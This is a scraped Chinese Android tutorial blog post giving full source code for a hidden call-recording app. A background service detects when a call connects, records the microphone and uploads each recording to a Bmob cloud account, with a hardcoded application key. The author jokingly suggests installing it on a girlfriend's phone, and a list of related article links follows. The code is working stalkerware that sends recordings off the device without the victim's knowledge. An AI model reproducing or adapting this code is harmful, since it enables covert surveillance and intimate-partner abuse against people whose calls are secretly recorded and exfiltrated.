Android实战简易教程-第五十五枪(窃听风云之电话录音上传)
来源:互联网 发布:企业网络性能需求 编辑:程序博客网 时间:2024/05/01 11:49
前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。
一、配置bmob
配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:
然后配置权限:
<uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/><uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.READ_LOGS"/>
然后在代码中初始化:
package com.bmob.example;import cn.bmob.Bmob;import android.app.Activity;import android.os.Bundle;public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); // 初始化 Bmob SDK // 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID Bmob.initialize(this, "Your Application ID"); }}
这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。
二、代码实现
1.MainActivity.java:
package com.example.detectdemo;import android.app.Activity;import android.content.Intent;import android.os.Bundle;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main); Intent intent = new Intent(this,PhoneService.class); startService(intent); }}
MainActivity.java就是启动了一个service,下面我们看一下这个service:
package com.example.detectdemo;import java.io.File;import cn.bmob.v3.Bmob;import cn.bmob.v3.datatype.BmobFile;import cn.bmob.v3.listener.UploadFileListener;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneService extends Service {private TelephonyManager tm;private MyPhoneStateListener1 listener;private MediaRecorder mr;@Overridepublic void onCreate() {super.onCreate();Bmob.initialize(this, "043e93c00763edf4ba390e9031775656");tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);listener = new MyPhoneStateListener1();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneStateListener1 extends PhoneStateListener {public void onCallStateChanged(int state, String incomingNumber) {switch (state) {case TelephonyManager.CALL_STATE_IDLE://闲置状态if (mr != null) {// if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){mr.stop();mr.reset();mr.release();mr = null;// }}break;case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听try {mr = new MediaRecorder();mr.setAudioSource(MediaRecorder.AudioSource.MIC);mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);String fileNameString = System.currentTimeMillis() + ".3gp";File file = new File(Environment.getExternalStorageDirectory(),fileNameString);String filePathString = file.getPath();mr.setOutputFile(file.getAbsolutePath());mr.prepare();mr.start();upload(filePathString);} catch (Exception e) {e.printStackTrace();}break;case TelephonyManager.CALL_STATE_RINGING://响铃状态break;default:break;}};}@Overridepublic IBinder onBind(Intent intent) {return null;}/** * 将文件上传 * * @param filepath */private void upload(String filePath) {final BmobFile icon = new BmobFile(new File(filePath));icon.upload(this, new UploadFileListener() {@Overridepublic void onSuccess() {//上传成功!Cheat name = new Cheat();name.setName(icon);name.save(getApplicationContext());}@Overridepublic void onProgress(Integer arg0) {}@Overridepublic void onFailure(int arg0, String arg1) {}});}}最后配置权限:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.detectdemo" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.example.detectdemo.PhoneService" > </service> </application></manifest>
主要用到了TelephonyManager 电话管理类和MediaRecorder 录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。
运行本实例,然后打电话给10010进行测试:
点击文件名即可将文件进行下载:
好了,自此功能就实现了。可以把它装到你女票的手机上了!哈哈,谨慎而为之啊!概不负责。
喜欢的朋友请关注我和我的公众号!谢谢
3 0
- Android实战简易教程-第五十五枪(窃听风云之电话录音上传)
- Android实战简易教程<五十五>(窃听风云之电话录音上传)
- Android实战简易教程-第四十枪(窃听风云之短信监听)
- Android实战简易教程<四十>(窃听风云之短信监听)
- android 实现电话录音(窃听)
- Android简易实战教程--第三十六话《电话录音》
- Android实战简易教程-第五枪(ListView用法研究)
- Android实战简易教程-第四十五枪(SlideSwitch-好看又实用的开关按钮)
- Android实战简易教程-第六十五枪(自定义控件实现数字液晶时钟Demo)
- Android实战简易教程-第七十五枪(WIFI直连工具类)
- 窃听风云之短信窃听器
- Android实战简易教程-第五十二枪(Fragment和Activity之间通信)
- Android实战简易教程-第五十四枪(通过实现OnScrollListener接口实现下拉刷新功能)
- Android实战简易教程-第五十六枪(模拟美团客户端进度提示框)
- Android实战简易教程-第五十七枪(分享小米手电筒源码)
- Android实战简易教程-第五十八枪(AlarmManager类用法研究小实例)
- Android简易实战教程--第三十五话《音乐播放》
- Android简易实战教程--第四十五话《几种对话框》
- AngularJS项目环境搭建
- opengl es 的EGL使用
- java反射机制的使用
- 如何解决blur事件和click事件冲突问题?
- js金额计算精度缺失解决方案(只此一家,错过后悔)
- Android实战简易教程-第五十五枪(窃听风云之电话录音上传)
- ZOJ 3787 Access System
- RMI 相关知识
- C#枚举 方法应用示例
- LeapFTP 显示服务器端文件名乱码问题处理
- 用libjson-glib处理json数据
- Android之ScrollView嵌套ListView显示不全的问题
- 八种常用电容器的结构和特点
- Hadoop2.6.0 单节点安装